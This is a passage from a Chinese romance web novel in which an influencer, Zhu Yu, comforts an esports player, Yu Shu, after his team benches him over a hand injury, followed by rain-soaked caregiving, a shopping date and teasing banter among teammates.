陈词恩在更衣室换衣服,撇了撇嘴:【你的小鸟最乖好吧】 果真闻到了坠入爱河的甜腻味。 …… 比赛虽然结束了,但是祝愉没有立刻离开锦州,她还要留在这边拍几个转场视频剪到穿搭分享里。除此之外,还有两条合作广告、一条锦州美食分享……还要再拍点vlog的素材。 不知不觉,她欠下了一屁股“债”。 前段时间配合Lumina的宣传,她涨了一波粉,平台粉丝数量将近150万左右。 最近也有不少人在评 论区说想看她的日常分享,不管是什么类型的都好。于是,祝愉打算多拍几条vlog,看看粉丝会不会喜欢。 除了这些,她打算过几天再开一场直播。 祝愉平时不怎么开直播,偶尔几次还是与品牌方的合作直播,所以当消息发到粉丝群的时候,群里的人纷纷发着“支持了”的加一回复,都很期待在几天后见到她。 转眼过去两天,这两天的时间说长不长,说短不短。 对于祝愉来说,长到很久没有见到俞述心里实在想念,短到把时间掰成几瓣都不够用。 自那天发的朋友圈之后,祝愉接连被好友打趣,就连不怎么熟的珊珊也来问她是不是跟俞述有情况。 评论区更是完全失守,灼忧那几人也发着“确实很乖”的句子排队型,而且每一条都回复了俞述。 纸包不住火,很多人还通过陈词恩和江笛打听她跟俞述的事,感觉已经默认他们在一起了。其他队的选手也在纳闷俞述怎么突然多出来了一个这么漂亮的女朋友,什么时候的事都不知道。 明知是误会,双方都没有解释。 承着这份误解,祝愉也没有主动去找俞述,她怕自己憋了好久的心意忍不住顺着这种复杂的情绪说了出来。 但幸好,俞述也没有任何动静,就连那天闹腾的几人也悄无声息。 可能是在忙训练吧。 祝愉耸了耸肩,没有多想,她刚洗完澡,披着湿发在酒店房间的桌上摆弄着明天直播要用的设备。 一个支架,一个手机。 小香本来还要买个补光灯支在祝愉身后,但被她拒绝了,感觉那样会显得很正式很隆重,只是纯聊天而已。 祝愉打开备忘录准备想一下直播的内容,要不然到时候不知道聊什么也挺尴尬的。 要聊什么呢? 祝愉从床上翻起身,抱着枕头想着。 美妆、穿搭、旅行……女生的话题来来去去都是这些。 突然手机一震,显示微博特别关注发了新的博文。 “FRG战队首发调整通知……” 祝愉看了眼推送标题,心里有些纳闷,她点开消息通知,直达FRG官博,赫然入眼的是首发五人名单,中单位置由重明更改为烁安。 “结合本轮常规赛赛程规划与重明选手身体情况,经赛训组综合评估,周三对阵ZDG战队的比赛将调整首发阵容,由替补烁安顶替重明登场……” 评论区是众人的不理解。 【所以那天离开锦州的机场路透没有重明,是他根本没走是吗?连基地都不让回了是吗!?】 【凭什么下重明首发?】 【如果是手伤的问题,那为什么跟JCM打的时候没有下首发?现在拿手伤说事是什么原因!请俱乐部说明!】 【重明的手是怎么受伤的至今俱乐部仍未给出回应,是否为私生所为也请俱乐部说明!】 【把队内指挥下了你们脑残是吧?】 【这下等你们化区成蝶估计要一万年以后了】 【这就是你们赛训组的顶级理解?】 【谁是队内的大腿到现在还不知道吗?】 …… 怎么会? 祝愉慌忙点开通讯录,找到俞述的名字。 电话接通,一片安静,祝愉试探地喊着他的名字,“俞述……” “嗯。”嗓音低落。 祝愉听到他的声音后心头一紧。 “你在哪?” “在家。” “我……看到俱乐部……发的公告了。”她喉咙干涩,语气间尽是担忧,她不知道从哪里开始说。 “嗯,是正常的轮换。” 那边的声音越来越轻,祝愉耳朵贴近手机等了许久也没有等到后文。 她放下抱枕,把半干半湿的头发全部扎起来,换下睡衣,穿了一双方便的鞋,动作很快。祝愉拿起手机,那边并没有挂断。 “你在锦州哪里?” “我去找你。”语气中不容拒绝。 20. 第20章 祝愉目不转睛地盯着车上的导航,惹得司机频频看向手机上显示的路线,以为自己走错了路。 半小时前,她问俞述在哪里—— “你不说我就去问阿良,我去问教练……总有一个人知道吧?” 强硬的语气与往日的温软不同,俞述从床上坐起来,声音还有些刚睡醒后的嘶哑,“太晚了,明早我去找你。” “好吗?” “不好。” 怎么会好?比她更要不好的是俞述,不是她。 许是拗不过祝愉,俞述只能妥协道:“那我去接你。” “不要,你把地址给我,我打车去找你。”祝愉难得耍了一次小性子。 “不要让我生气。”祝愉语气放缓,轻声哄道,“听话。” 沉默了一阵,俞述才说出一串地址。 祝愉打开地图搜了一下,离她有段距离,打车过去差不多要半个多小时。 …… 车上静到发冷,窗外暖色的光晕一划而过,路两边的人越来越少…… 终于,车停在了小区对面。 “姑娘,要不你从这下吧,这最近修管道,挖了一条坑,我开不进去,这条路是最近的了。” 天色太暗,她看不清外面的景象。 微弱的路灯亮在远处,照不清车周身的路,而此时的天气像是乘着她糟糕的心情,淅淅沥沥的小雨点突兀地落下,从半开的窗户缝隙中飞向祝愉的脸颊处,一路滑向下巴。 “哎呦,还下雨了,要不我绕一绕找找有没有别的门,别脚滑拐到他们挖开的坑里去了。” “不用了,我就在这下。” 祝愉抹去脸上的雨水,她走得急,没注意到天气预报上晚九点雷雨的标志,伞也没拿。 但是…… 她要快点去找到俞述。 她想见到他。 祝愉下车后打开手机上的手电筒,光线在雨夜里不是很强。 几缕发丝黏在她的眼角,她随意拨了几下,刚穿没几次的白色板鞋上沾满了脏污,裤腿也湿唧唧一片,她走得很小心,但踩在带泥的地砖上还是滑了一下。 心里一惊,祝愉侧身躲开那管道坑,但没设防地拐倒在地,撑着地的手沾满了泥,右脚那也传来一阵刺痛。 祝愉面露痛楚,蹲在地上使劲地捏了一会儿脚踝,才感觉好了点,忍忍还能走。 雨点变大,身上的衣服已经湿了大半,她缓缓起身,动作有些许狼狈。 还没等她站稳,耳边传来急促的脚步声,一只有力的手将她扶稳。祝愉的视线中蓦然多了一把黑色的伞,为她隔绝这漫天阵雨。 是俞述。 “你怎么……”一句话未说完,祝愉便看到了俞述那张苍白的脸上,唇角更加平直。 他心情似乎有点不好。 风起,改变了雨的走向,阵阵凉意顺着湿透了的袖口游走在皮肤表面,祝愉忍不住地打颤。 俞述没有开口说话,将伞递给祝愉,把自己的外套脱下盖在她的肩上。 衣服很宽也很长,俞述俯身拉起外套拉链,将领口竖起,遮住了女人的半张脸。 拉链的齿痕轻轻磨蹭着祝愉的鼻尖,衣服上残存的暖意将身上的湿冷驱赶离去,淡淡的柠檬味环绕着她。祝愉微微低头,鼻间尽是俞述身上的气息,好像被他拥入怀中一样。 俞述的视线从上到下,确定祝愉不会受到风吹,才接过伞继续撑在祝愉的头顶。 伞面依旧倾斜。 雨落下,打湿了他的头发,修长的手指紧紧攥着伞柄,指尖发白。 祝愉见此心思微动,想拉他过来,但眼前的人不动,固执地站在原地。 她走一步,伞后退一步,没有让她再淋半点雨。 “你在生气吗?”祝愉停着不走了,宽大的伞檐终于将两人遮住,她看着俞述的眉眼,又忍不住心软,“是因为我来了吗?” 俞述一愣,似是没有想到祝愉会这样问,他开口否认,“没有。” “我没有生气。” 怕眼前的人不相信,俞述又重复了一遍。 “没有生你的气。” “我只是没有想到你真的来了。” “我、我一直在门口等你,天气预报说要下雨……我不确定你会不会来。” “我回去拿伞了……但你还是淋雨了。” 俞述已经开始语无伦次,祝愉一直不说话,他开始回想自己刚刚做了什么。 是靠得太近了吗? 她是不是不喜欢别人碰她? 他下意识地向后撤,衣服下摆却被祝愉揪住,袖口堆叠在那细细的手腕处,露出一抹莹白色。 “我淋雨没有关系。”祝愉抬眼,“我说好的要来,我就一定会来,我要见到你我才放心。” 其他人眼中的俞述五官凌冽,不经常笑,但没有人觉得他刻薄,因为他的那双眼睛总会暴露许多心思,惹人在意。 就像现在,他的眼中有心疼,有疑惑,有怔愣……却唯独没有不悦,但祝愉还是问他有没有生气。 她想,总要问一句这样的话,让他知道,什么样的情绪都可以表达出来。 开心也好烦躁也罢,她希望俞述能对她多说一点。 许是站久了,祝愉的脚踝处传来一阵刺痛,她不由得倒吸了一口凉气。 俞述面色一敛,脑海中划过他跑来时看到祝愉蹲下的身影,“你怎么了?” 祝愉即便不想矫情,但脚踝那是真的很疼,表情犹豫,“我脚扭了,你要不扶我一下。” 话音未落,伞又到了祝愉手中。 “我背你。”俞述屈膝半蹲在她面前,“先回家。” 看着他逐渐湿透的肩膀,祝愉没有扭捏,走近后俯身贴在他的脊背上,一手抓着他的衣服防止掉下去,另一只手举着伞挡雨。 一路无言。 刚开始,祝愉还紧绷着上半身想着不要贴得太近,但这样僵着很难受,俞述也要频频调整背她的姿势,思来想去,她还是靠在了俞述的脊背上。 俞述的骨架很大,抽空健身的效果让他看起来没有那么瘦弱,隔着布料也能感受到他紧实的背肌。 雨丝飘落进来,祝愉只好又靠近一点,慢慢地,她的脸不知不觉地贴在了俞述的肩颈处。 那瞬间,俞述呼吸错乱,本就因祝愉的靠近而显得紧张的心,此时跳得更甚。 雨夜带来的凉感没有让他变得冷静,背上与之触碰的地方骤然发烫,顺着敏感的神经末梢四处流窜。 气息缠绕交织,俞述的侧脸紧绷,咬肌微动,耳尖染上一层绯色,连带着唇瓣都更加红艳。 祝愉有所感应,却没有拉开距离,就这样静静地靠在他的身上。 咚——咚——咚—— 心脏剧烈跳动,周围的喧嚣就这样消失。 如果路再远点就好了…… 雨声连绵不绝,没有要停歇的意思,直到坐上电梯,祝愉才捏了捏他的肩膀,示意放她下来。 “马上就到了。”俞述没有松手。 跳动的数字停在16楼不动,一梯一户,电梯门打开便是玄关。 祝愉挣扎着要下来,俞述便扶着她 的胳膊,坐到一旁的矮凳上。 她低头看了看自己已经变成灰黄色的小白鞋没有说话,心中有些痛惜,这是她排队排了好久才买到的联名款板鞋。 怜惜没有持续太久,她看向正在鞋柜给她找拖鞋的背影,才莫名生出一种局促。 自己居然在俞述的家里。 不一会儿,俞述将一双灰色长耳兔毛绒拖鞋摆在祝愉脚边,“是新的,可能有点大。” 这间房只有他一个人住,一般只有过年和放长假的时候回来待几天,所以家里的东西都很少,也没有多余的拖鞋。 “这是兔子吗?”祝愉难以想象俞述会自己买来穿这种可爱的拖鞋。 “嗯,是我小姨买的。”这双拖鞋还是过年的时候他小姨逛超市抽奖抽到的,不过他嫌幼稚从来没穿过。 祝愉解开鞋带,发现袜子都湿了,只好把袜子也脱了塞在鞋里,光着脚踩进毛绒拖鞋。 软软的,很暖和,但确实是大了很多,有点不跟脚。 俞述去了厨房,祝愉随意坐在沙发上,环视着客厅的布置,简单一句话就是,空,很空,非常空。 除了沙发、茶几,以及墙上挂的电视,几乎什么都没有,说是简约风都有些牵强。 厨房是开放式的,从她这个视角看过去,正好能看到俞述的背影。 祝愉眯着眼看了一下俞述的手,感觉没有那天严重了。 手背上紫黑色的瘀痕消下去很多,印记周围泛着淡淡的青黄色,其余地方白中透着点粉,有种凌乱的油画美感。 她回过头,瞟见了垃圾桶里的包装袋,是那天比赛结束之后她托阿良给俞述的药膏贴,看来俞述有在用…… 鞋底与地板摩擦的细碎声响起,一杯水放在祝愉的面前,她抬眼看去,俞述又转身走进厨房,打开冰箱找寻着什么。 祝愉垂下眼帘,用手背轻轻碰了一下水杯,不烫,是温的,她拉低外套的衣领,端起杯子小口喝着。 不一会儿,俞述手里拿着一袋冰和一块毛巾走来。 俞述蹲在祝愉的腿边,抬头看向她,“我能看一下吗?” 祝愉没有防备地将腿伸长。 视线掠过,关节处有些肿胀,随着时间的逝去,现在已经开始泛红。 俞述用毛巾将冰包了起来,动作轻缓,慢慢贴向受伤的那处。 脚上多了一股凉意,祝愉忍不住瑟缩了一下。 “还是很冰吗?”俞述轻声问道,连带着动作都小心了不少。 “还好。” 俞述没有吭声,起身将沙发靠垫往祝愉背后挪了一下,让她坐得舒服一点。 但突然地靠近让祝愉呼吸一滞,俞述穿着一件白色的V领短袖,领口有点大,被雨淋湿的布料紧贴着腰腹,曲线一览无余,顺着领口,视线下滑,那胸前的景色也若隐若现,直达她的眼底。 祝愉猛地闭眼。 “怎么了?” “没、没事,我眼睛进东西了。”祝愉随便找了个借口搪塞道,又怕俞述发现,补充了一句,“已经没有了……” 俞述嘴角微抿,有些许不解,但敏锐地捕捉到了那转瞬即逝的视线,他低头看了眼,像是察觉到了什么,脸倏地一红,右手按了一下微鼓的领口边,脊背微微发僵,局促地蹲了回去。 祝愉看在眼里,心里暗道:又这样害羞…… 这时候的俞述像是一只乖巧的大狗,蹲在一边,尾巴摇摆,眼睛湿漉漉的,似有哀求。 心脏微微抖动,密密麻麻的酸软涌入心房,让祝愉无法招架。 可惜不敢看她…… 21. 第21章 雨势减弱,已至深夜。 客厅里只有祝愉一人,她曲腿按着冰袋,心不在焉地想着等会儿怎么对俞述说她看到微博的事。 可是他会说吗? 现在提起这事会不会让他更难过啊…… 冲动褪去,祝愉此时有些懊悔,不该这么唐突跑来找他。 思绪越捋越复杂,祝愉索性打开微博逛了会儿超话,这才发现在她来之前,俞述发了一条微博。 内容大概是讲他会因手伤暂时休息几天,夏季赛二三轮会根据赛训组的安排与烁安轮换上场,回到海市后也会继续跟训,保持更好的状态迎接后续的比赛…… 有了选手的安慰,粉丝的情绪缓和许多。 【好好养伤,一定不能留下后遗症,还想看你多打几年】 【好好养伤,我们会等你回来的】 …… 正看着,手机铃声响起,是陈词恩。 “你终于接电话了!我找你都找不到!” 祝愉疑惑地看了眼手机,没有未接电话显示,“你之前没有给我打电话呀?” “是微信微信!微信给你发消息一直不回。” “啊……忘记了。”祝愉一直没有来得及看手机。 “你真的是!”陈词恩心头一梗,这恍然大悟的语气给她噎了一口。 “不说这个了,你看微博了没?俞述被下首发了!我的天啊,我完全不知道……” 祝愉忙减音量,偷偷瞄向正从卧室出来的俞述,不确定他有没有听到。 俞述换了件黑色短袖,是祝愉买给他的那件,他走近后将刚刚找的衣服递给祝愉,“衣服是新的。” “谁啊?”陈词恩好像听见谁在祝愉身边说话。 “是小香,我、我现在有点忙,等会再打给你啊。”她小声地说完,迅速将电话挂断。 俞述挑眉,站在一旁没有出声。 祝愉整理了一下表情,摆摆手说:“没事,不用换了,我就来看你一眼,等会儿就回去了。” 晚上十一点,孤男寡女这样相处也不好,俞述点了点头,“那我等会儿送你。” “没关系,我打车就回去了。” 男人不语。 祝愉又劝道:“好不好?” “不好。” 熟悉的回答让祝愉一愣,记忆回溯到来之前,她是不是还说了什么? 不要让我生气? 听话? 俞述扯起一抹笑,“不要……” “不能说!”碍于脚伤,祝愉只能坐在沙发上扯了一下俞述的衣服,一脸羞愤。 “噗嗤——”俞述终于忍不住笑了起来。 他笑得浓烈,两边尖尖的虎牙探出,唇角扬得很高,眼睛微微眯起,一抹流光从中划过。 祝愉突然想到她小时候很喜欢亮亮的珠子。 那时候林惠还没有跟那人离婚,两人吵架时,她总是躲在房间的衣柜里数着小铁盒里收集的“珠宝”,有些已经失去了光泽,灰扑扑地挤在角落里,偶尔几颗璀璨的珠子也将会在某一天黯然无色。 她数来数去,终于数到了第一百颗,也是最亮的一颗。 但某天,她再缩进衣柜里,却发现小铁盒里空荡荡的,一颗也没有了。她伤心了很久,却没有放声哭,因为那样的委屈在当时太过微不足道,可又厚重到她现在都没有忘记…… 直到很久以后,见到俞述的第一次,她才见到那消失的“第一百颗珠子”。 俞述的眼珠像浸着墨的琉璃,通透干净,他的情绪很好猜,也很好懂。 她很会从别人的眼中观察到些什么,这项本领来源于小时候的谨慎。所以她当初信誓旦旦地对江笛说,俞述绝对是个很好的人,眼睛是骗不了人的。 就像现在,俞述那眼中时刻存在的点点防备也消散不见。 …… 这是第三次俞述送她回去。 车驶入酒店地库,两人都没有先开口。 “咔嚓”一声,祝愉解开安全带,心里踌躇着,她想要解释一下她的来意,但话到嘴边又转了个弯,“你……后面几天都会待在锦州吗?” 搭在方向盘上的手一顿,俞述迟疑地“嗯”了一声,“在这待两天,休息一下就要回海市继续跟训了。” “哦……” 继续沉默。 祝愉嘴角抿起,“嗯……就是我想……” 声音越来越小,俞述转头看向旁边一脸纠结的女生,“我知道。” 我知道你担心我,想要安慰我。 怕祝愉胡思乱想,俞述主动提起了俱乐部发公告的事,“比赛结束那天,我们回去复盘后时发现了很多问题,许多难以解决的点都出在我身上。” “可是那天比赛你很厉害啊……”祝愉不清楚他们会复盘什么,但听到俞述的自省还是感到意外。 与JCM的比赛,俞述拿了两次MVP,是目前MVP榜前三中的唯一一个中单。 俞述起初也有些难以理解李由的决定。 但开会时,李由提到因为俞述是指挥位的缘故,他们队伍现在的打法是围绕着中野进行局内布置,顺风还好说,但逆风的话漏洞太明显,而且完全是逆版本思路,要不是选手操作没有一个拉胯的,FRG估计是B组常客,跟S组挂不上钩。 话虽然难听,但,是事实。 要说问题,每个人问题都很多。灼忧的指挥练不出来、薰薰逆风的时候光速融化、五七的进攻不果断、飞渊容易想太多…… 91看在眼里,却也因为成绩不错,不好让他们改变这种打法,怕试错成本太大。 李由是俞述的第一任教练,自然明白他巅峰期的状态和实力在何等地步。自来到FRG,俞述当了队长,也当了指挥,确实顾虑变得很多,没有以前那么敢打,队伍整体的对抗性在走下坡路。 李由评价他是变得越来越优柔寡断,有他心态的问题,也有队友站不出来的问题。 团队配合和打法就此成型,很容易就被其他队伍研究透彻。就像是一个星期前与SNG的比赛,他们无法处理SNG的进攻节奏,每次转线以及运营都会被他们瓦解攻破。 李由说,如果暂时改变不了战术,那就换人上去硬变,总会有不同的化学反应,中路不能一直是兜底的存在,应该让其余人学会找破局点替彼此分担压力。 会议开完,众人虽面色不虞,但心里也清楚了不少,中路位置的轮换也让几人绷紧了神经。 “所以夏季赛你还会上场吗?” “会,只靠新人的话,赛训组也没有那么放心。”俞述点头道,李由说的是事实,他也认同,但他不会一直坐在替补席,如果靠实力竞争首发,他也有信心做得到。 听完俞述的解释,祝愉心中踏实了点。 不管是比赛还是生活,如果有人能够替他分担一些压力让他轻松一些也好。 而且俞述的心情看起来没有她想象的那么糟糕…… 郁结的情绪骤然散开,祝愉笑着跟俞述再见,“那我走啦~” “等一下。”俞述解开安全带从驾驶位上下去,从车前绕过,来到她面前,将手伸过来 。 祝愉看着眼前修长的手,莫名想起了一个很古老的梗,她心里暗暗发笑,将手搭在俞述的掌心,小心地挪下车。 两人并肩走到电梯门口,俞述不经意地问道:“你什么时候回海市。” 祝愉想了一下时间,“后天下午两点就要走了,你呢?” “我也是后天。” “那真巧……”电梯门开,祝愉扶着俞述的胳膊走进去。 “嗯。” 银灰色的电梯门像一块模糊的镜子,祝愉可以看到俞述侧脸看向她时欲言又止的复杂表情。 数字连续跳动三下,身侧的人终于开口,“我们可以一起回海市吗?” 余光里,祝愉瞄到了俞述那不自然的神情。 她勾起嘴角,眉眼舒展,“好啊。” “但是我们是一个时间段的吗?”祝愉故意逗他。 “是一个时间段的。”俞述压下表情,面不改色。 “这样啊~” “那我后天等你消息哦~”祝愉的尾音荡漾。 “好。” …… 深夜的雨终于停了,地上湿漉一片。 某酒店对面的路边停着一辆深蓝色SUV,车窗打开,一抹微弱的亮光映在那双漆黑的瞳底。 俞述打开购票软件,将四天后回海市的机票改签到后天下午两点,顺手将到达时间发给了阿良。 陪着这群选手一起生活了两年多,阿良的作息时间完全跟他们一致,看到俞述发的图片,他还醒着,陪着薰薰吃夜宵,纳闷道:【不是给你放了五天假吗?这么早就回来了?】 俞述:【有事】 言简意赅,阿良耸了耸肩:【行,后天去接你】 俞述:【不用】 阿良:【?什么意思?那发给我干什么?】 俞述:【没什么】 那边再没有动静,阿良满脸莫名其妙。 薰薰吃的酸辣粉,鼻子眼泪一把掉,恍惚间看见了阿良怔愣的表情,问了句,“咋啦,你要不吃我就吃了。” 阿良缓过神,按住薰薰伸向冰淇淋的手,“你要想明天拉肚子拉到虚脱我绝对不拦着你。” 薰薰讪讪收回手,“我以为你不吃,我胃也没那么脆弱。” 阿良不理他,“我只是在想事……俞述后天就回来了。” “哦,我感觉按明哥的性子也就这两天回海市,不会休息那么久。” “不是在想这个,他给我发了大概几点到机场的时间。”阿良啧了一声。 “那就是让你去机场接他呗。”薰薰擤了把鼻涕。 “他没让我接……” 两人抬头,突然想起了一个人。 薰薰斯哈着嘴打开微信,问祝愉是不是还在锦州,什么时候回海市。 阿良一脸八卦地凑了上来,等着祝愉回消息。 手机一震。 祝愉:【嗯,还在锦州,后天回海市,怎么啦?】 薰薰:【没事没事,我就问问】 “啊哈哈哈哈,我就知道。” 薰薰顺手点开跟俞述的聊天框却被阿良拦了下来,“咱小鸟哥好不容易开次花,你别给他搅没了。” 俞述本就是个不怎么会表达情绪的人,这两年还变沉稳了好多。但说到底,按年龄也是个刚出社会的毛头小子,人好不容易给朋友炫耀一下自己的主动,别一顿调侃的把他这股火给压下去了。 薰薰一脸意味深长,像个久经情场的老手,“懂懂懂。” 两人相视一笑,继续吃着夜宵。 22. 第22章 这是自入夏以来锦州下得最大的一场雨,连带着第二天的气温都降了许多。 九点钟,路上行人匆匆,拉紧衣领赶往上班的地方。 小香也冷得一颤,一路小跑到楼下的便利店买早点。 “你好,请问有没有冰袋呀。” “只有冰杯。”正在结账的店员抬头回道。 “那就冰杯吧。” 结完账,小香提着一袋东西回到酒店,敲了敲祝愉的房间门。 “喏,小竹姐,只有冰杯了。”房门打开,小香将袋子递给祝愉,侧身进到房间里。 “没事,只要是冰的就行了。”她关上门,缓缓挪动步子,坐在书桌前。 “小竹姐,你腿受伤了?” “嗯,不小心扭了一下,但是也快好了。” 早上起来,脚那不怎么疼了,但还是有点肿,就拜托小香买早点的时候顺便买个冰袋敷一下。 “怎么扭到的啊?” 祝愉不是很想说,模糊道:“昨晚摔倒了。” 小香踩了踩地,是防滑的材质啊,怎么会摔倒,但她还是体贴地说了句,“下次我订酒店一定选个更防滑的。” “好。”祝愉笑着答应。 吃完早点,祝愉在旁边接电话,小香从衣柜里拿出几件下午要拍摄用的衣服,她记得这是有挂熨机的…… 视线一转,在飘窗旁边找见了它,但那上面搭着一件黑色的外套,肩宽袖长,一看就不是祝愉的衣服。 雷达再次响起,小香眼睛微微眯起,走近端详着这件外套。 从正面看是一件很普通的冲锋衣。 从背面…… “重明”两字映入眼底。 “这这这……”小香后退了几步,这是FRG的队服。 祝愉挂了电话,听到动静后抬眼望去,就看到小香一脸惊讶的表情。 糟糕……衣服没收。 她把衣服洗了之后就晾在房间里了,俞述的那件外套她想着要熨一下,但是早上起来给忘了。 “小竹姐……你谈恋爱了……”小香气若游丝,这是什么时候的事,她怎么不知道。 “没有。” “那衣服怎么就凭空出现了呢?”昨天晚上她走之前还没有呢,这一晚上到底发生了什么!? 不用等祝愉的回答,小香也在短短几秒将将整个过程脑补完了,她一脸顿悟,推着挂熨机走到祝愉面前竖了一个大拇指,“我小竹姐还是牛!把这竞圈的大神给拿下了。” 说完,飘飘然离去。 祝愉看着小香的背影无奈地笑了一下。 算了,误会就误会吧。 …… 这期plog拍摄主题是日常风,但祝愉住的酒店在新区,附近的商圈还没建成,寂寥一片,没有什么可以拍的东西。 这块地方也就胜在离比赛场馆近一点。 “要不去这吧,这离新区近点。”小香凑近指了一下手机屏幕说道,“锦荟广场虽然小了点,但拍照也可以,而且你脚不还受伤了吗?肯定走不了多久。” 祝愉看了眼距离,沉吟一阵后决定道:“去星河中心吧。” “反正是打车去……” 小香狐疑地看向祝瑜,打车去也得半个多小时。 祝愉被小香盯着有些尴尬,干笑了两声,避开视线,背着包先出门了。 星禾中心坐落于锦州的黄金地带,这地段交通便利,商业配套齐全,周边的房价也常年稳居城市前三。不过近两年由于新区的开发,这儿的房价有下降的趋势…… “但我还是买不起。”小香看着窗外划过的高楼大厦撇了撇嘴,扭头倒在祝愉的肩上,“我好想一夜暴富啊,或者攒几年的钱买套小公寓,够我一个人住就好了。” 她才不要跟父母住一起,每天听她爸妈的唠叨已经听够了。 “没关系,会有那一天的。” “呜呜呜,但是我好羡慕你啊小竹姐。”小香撅了噘嘴,“又年轻又漂亮又有钱,这样的人生有什么烦恼。” 祝愉笑着捏了捏小香的脸,“其实烦恼很多啊,有的时候视频流量不好我也会难受,会想是不是自己拍得内容很差,像那些不好的评论我也会一直在意,好几天都忘不掉,有时候还会被气哭,如果没有商务联系我的话,也会经常发愁,睡不着觉,觉得自己可能没什么人气了……” “啊……那样感觉是一直在遭受精神折磨。”小香说道。 “是啊,其实每个人都有自己的烦恼,如果排解不了,就顺其自然吧,最重要的是不能亏待自己。” “好的,小竹长官!”小香握紧拳头。 “你干嘛啊,要宣誓吗?”祝愉忍不住笑了。 “哎呦,我就是觉得你好好啊~”小香腻歪道,“我这么好的小竹姐居然就这么便宜了他。” “谁啊?”祝愉装傻道。 “还想瞒我,你来星河这边是不是为了那个重明啊。”小香揶揄道,“我熨衣服的时候可听见他打电话问你今天有没有什么事。” ——“喂,你起床了吗?脚还疼吗?” “嗯,正在化妆,脚不怎么疼了~”小香一人分饰两角。 ——“你今天有什么安排?”嗓音低沉却造作。 “嗯……下午还有拍摄呢,晚上要直播~你在家吗?” ——“我等会要出去一趟,买东西。” “哦~去哪呀。” ——“星河中心。” “你耳朵怎么这么灵!”祝愉捶了一下小香的胳膊,“还有,我没有用这种语气说话。” “唉,我就这点本领了啊,小的时候,我妈想听八卦又不好意思的时候都叫我去听,完了之后就让我转述给她。”小香笑嘻嘻地开玩笑。 “而且那个帅哥是不是比你小啊。” “嗯,比我小两岁。”俞述再过两个月才满21。 “所以……年下不叫姐,绝对是有大猫腻!”小香摇着祝愉的胳膊,“年轻好啊,身材又好,体力也好,典型的小狼狗男友啊,到时候可以为所欲为啊,嘿嘿嘿……” “你真的是够了!”祝愉压着声音,脸上红了一片,怕让司机听到什么过于奔放的话题,便伸手捏住小香的嘴,“不要说了。” “都是成年人了&*#*……”小香挣扎道,“可以说点成人#&*%……” “不能说!” …… 星河中心的广场有一处大喷泉,上面的两只石刻天鹅对颈交缠,呈现出一个爱心形状,是情侣打卡的热门地标。 “要不要给你和那位拍一张。”小香背着摄影包。 “不用!”祝愉看见了不远处站着的俞述,“你等会儿别乱说。” “嗯嗯嗯,我懂,我懂。” 俞述单手插着兜,另一只手提着一个花色纸袋,漫不经心地看着那喷泉。 祝愉放轻脚步声走到他的旁边,“在干嘛?” “在看天鹅。”俞述侧眼看着祝瑜,嘴角勾起,看起来心情很好的样子。 “还有彩虹。”祝愉补充了一句。 闪着琉璃光的水珠又落下,在天鹅的长颈处折射出一道淡淡的彩虹。 “嗯。” 俞述转身,自然而然地接过祝愉手中的包。 小香想看又不敢仔细看,这种老夫老妻的相处模式是怎么一回事。 “没想到你这么早就到了。”祝愉没有戴墨镜,眯着眼看了眼时间,下午两点半,约定好的时间是三点。 “先过来等你。”俞述走近一步,替祝愉挡住刺眼的太阳光。 “走吧。”祝愉弯起眼尾,这算是约会吗? 工作日的下午,逛街的人没有那么多,他们连续换了几个场景,拍出来的效果都还不错。 俞述身上背着祝愉的托特包,环着胳膊,眉眼低顺地看向她,目光没有偏转过。 祝愉站在书架旁,手里拿着一本书翻看。她今天穿着一件燕麦色的棉质长裙,长发挽起,露出柔和的侧脸,精心挑选的几缕碎发垂在耳边,温婉而慵懒。 这会儿书店里的人多了起来,祝愉怕打扰进来买书的人,有些不方便摆动作,一来二去耽误了不少时间,受伤的那只脚也传来一阵痛感。 她踮起脚尖转了一下,心里叹了口气。 应该穿那双平底鞋的,她以为不疼就是好了。 “小竹姐,去休息一下吧。”小香比划道。 “嗯,俞述呢?”祝愉小声地问她。 环顾了一圈,小香茫然道:“刚刚还在我身后呢呀。” 她们坐到一侧的沙发上,正要打电话,祝愉便看见俞述站在门口,视线锁定后向她走来,手里提着隔壁药妆店的袋子。 书店很安静,祝愉无声地问他买了什么。 俞述从袋子里取出一片镇痛贴,撕开后递给祝愉,让她贴在脚踝那。 “谢谢。”祝愉凑到俞述的耳边,用只有两人能听到的声音道了声谢。 淡淡的花香袭来,沾到了俞述的衣领上。 他嘴角微动,压下心中的翻涌,也小声说道:“没关系。” …… 休息了一会儿,趁着人没那么多,她们抓紧时间多拍了几张。 结束所有拍摄后,已经快下午七点,祝愉感觉时间有点来不及了,带着歉意对俞述说道:“我晚上还要直播,答应请你吃饭……可能要下次了,而且让你陪我拍了这么久,肯定很累吧。” 俞述摇了摇头,跟祝愉待在一起很放松,他不累,来这也不只是为了吃饭。 “这个给你。”俞述将一开始就提着的花色纸袋递给祝愉。 “这是……鞋吗?” 是L家的包装袋,她以为是俞述买给他自己的。 “嗯。” 祝愉打开之后是一双白色的板鞋,跟她昨天穿的那双很像。 …… 俞述送完祝愉回到家后,消息紧跟而来。 【鞋码刚好哦~】 【你到家了没~】 俞述放下车钥匙,回了句:【嗯,刚到】 那边没有后续,俞述点开与五七的聊天框,将近五十多条未读消息,全是在问他为什么要买女款鞋的疑问,期间夹杂着几条60秒的语音,俞述也懒得点开听。 最近一条则是:【用完就拍拍屁股走人了,你可真渣,下次再也不帮你打听了,我女朋友还以为我有别的人了,把我一顿臭骂,我好不容易才解释清楚,哼】 俞述喝了口水,点开转账,输入一串数字,按下支付键。 没几秒,灼忧开始狂轰乱炸:【ccccccccc老大,我要追随你一辈子,OMG!哈哈哈哈哈哈,你是我的衣食父母!爸!】 俞述走进卧室,脱下衣服准备去冲一下澡,微信铃声响起,他以为是灼忧,没细看就接了。 “你……” 俞述低头,才发现打电话来的是祝愉,还是视频通话。 祝愉捂着嘴,眼前一片粉白,她快速挂断视频,脸上瞬间燥热一片。 她没收到俞述的消息,犹豫要不要打电话的时候,却不小心按到了视频通话,就看见了刚刚那一幕。 俞述腰腹那深浅有致的腹肌线条一直环绕在祝愉的脑海里。 他好像还有鲨鱼肌。 再仔细向上回忆,他的胸膛随着呼吸上下起伏,那轮廓匀称又饱满…… 救命! 祝愉倒在床上无声地尖叫。 另一边,俞述看着挂断的界面,那句到家的话并未发出去。 他唇线紧绷,“操。” 转而对五七发了句:【滚】 五七:【???】 23. 第23章 海市,FRG基地。 黄优推开王者荣耀分部训练室的门,径直走到91身边,将一沓A4纸撂在他面前,叉着腰说道:“月中了,该干活了吧。” 